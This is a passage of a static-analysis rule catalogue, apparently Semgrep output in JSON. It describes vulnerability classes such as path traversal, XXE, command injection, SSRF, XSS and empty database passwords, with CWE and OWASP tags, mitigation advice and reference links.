controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-pickleshare-django.tainted-pickleshare-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-pickleshare-django.tainted-pickleshare-django","id":"python.django.file.tainted-pickleshare-django.tainted-pickleshare-django","name":"python.django.file.tainted-pickleshare-django.tainted-pickleshare-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-pickleshare-django.tainted-pickleshare-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorm.gorm-empty-password.gorm-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorm.gorm-empty-password.gorm-empty-password","id":"go.secrets.gorm.gorm-empty-password.gorm-empty-password","name":"go.secrets.gorm.gorm-empty-password.gorm-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorm.gorm-empty-password.gorm-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template.JS()'. 'template.JS()' does not escape contents. Be absolutely sure there is no user-controlled data in this template."},"help":{"markdown":"Found a formatted template string passed to 'template.JS()'. 'template.JS()' does not escape contents. Be absolutely sure there is no user-controlled data in this template.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js)\n - [https://golang.org/pkg/html/template/#JS](https://golang.org/pkg/html/template/#JS)\n","text":"Found a formatted template string passed to 'template.JS()'. 'template.JS()' does not escape contents. Be absolutely sure there is no user-controlled data in this template."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js","id":"go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js","name":"go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-xml2json-xxe.express-xml2json-xxe)\n - [https://www.npmjs.com/package/xml2json](https://www.npmjs.com/package/xml2json)\n","text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-xml2json-xxe.express-xml2json-xxe","id":"javascript.express.security.express-xml2json-xxe.express-xml2json-xxe","name":"javascript.express.security.express-xml2json-xxe.express-xml2json-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-xml2json-xxe.express-xml2json-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The string returned from `std::string_view.data()` is not guaranteed to be NULL terminated. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"help":{"markdown":"The string returned from `std::string_view.data()` is not guaranteed to be NULL terminated. This expression expects a NULL terminated string and will trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string](https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string)\n","text":"The string returned from `std::string_view.data()` is not guaranteed to be NULL terminated. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator","id":"cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator","name":"cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe","id":"java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe","name":"java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","id":"java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","name":"java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password","id":"ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password","name":"ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The following request $REQUEST.$METHOD() was found to be crafted from user-input `$REQ` which can lead to Server-Side Request Forgery (SSRF) vulnerabilities. It is recommended where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommeneded to follow OWASP best practices to prevent abuse. "},"help":{"markdown":"The following request $REQUEST.$METHOD() was found to be crafted from user-input `$REQ` which can lead to Server-Side Request Forgery (SSRF) vulnerabilities. It is recommended where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommeneded to follow OWASP best practices to prevent abuse. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-ssrf.express-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"The following request $REQUEST.$METHOD() was found to be crafted from user-input `$REQ` which can lead to Server-Side Request Forgery (SSRF) vulnerabilities. It is recommended where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommeneded to follow OWASP best practices to prevent abuse. "},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-ssrf.express-ssrf","id":"javascript.express.security.audit.express-ssrf.express-ssrf","name":"javascript.express.security.audit.express-ssrf.express-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-ssrf.express-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"setMultipleAllowances() is missing onlyOwner modifier"},"help":{"markdown":"setMultipleAllowances() is missing onlyOwner modifier\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control)\n - [https://twitter.com/danielvf/status/1494317265835147272](https://twitter.com/danielvf/status/1494317265835147272)\n - [https://etherscan.io/address/0x876b9ebd725d1fa0b879fcee12560a6453b51dc8](https://etherscan.io/address/0x876b9ebd725d1fa0b879fcee12560a6453b51dc8)\n - [https://play.secdim.com/game/dapp/challenge/rigoownsol](https://play.secdim.com/game/dapp/challenge/rigoownsol)\n","text":"setMultipleAllowances() is missing onlyOwner modifier"},"helpUri":"https://semgrep.dev/r/solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control","id":"solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control","name":"solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks and therefore sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"help":{"markdown":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks and therefore sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks and therefore sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open","id":"python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open","name":"python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-href-url.react-href-url)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.react.react-href-url.react-href-url","id":"typescript.react.react-href-url.react-href-url","name":"typescript.react.react-href-url.react-href-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-href-url.react-href-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request)\n - [https://godoc.org/github.com/dghubble/sling#Sling.Add](https://godoc.org/github.com/dghubble/sling#Sling.Add)\n - [https://github.com/dghubble/sling](https://github.com/dghubble/sling)\n","text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request","id":"problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request","name":"problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found potentially unsafe handling of redirect behavior $X. Do not pass `params` to `redirect_to` without the `:only_path => true` hash value."},"help":{"markdown":"Found potentially unsafe handling of redirect behavior $X. Do not pass `params` to `redirect_to` without the `:only_path => true` hash value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-redirect-to.check-redirect-to)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"Found potentially unsafe handling of redirect behavior $X. Do not pass `params` to `redirect_to` without the `:only_path => true` hash value."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-redirect-to.check-redirect-to","id":"ruby.rails.security.brakeman.check-redirect-to.check-redirect-to","name":"ruby.rails.security.brakeman.check-redirect-to.check-redirect-to","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-redirect-to.check-redirect-to"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC connection using 'insecure.NewCredentials()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"help":{"markdown":"Found an insecure gRPC connection using 'insecure.NewCredentials()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Found an insecure gRPC connection using 'insecure.NewCredentials()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"helpUri":"https://semgrep.dev/r/go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection","id":"go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection","name":"go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection","properties":{"precision":"very-high","tags":["CWE-300: Channel Accessible by Non-Endpoint","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. 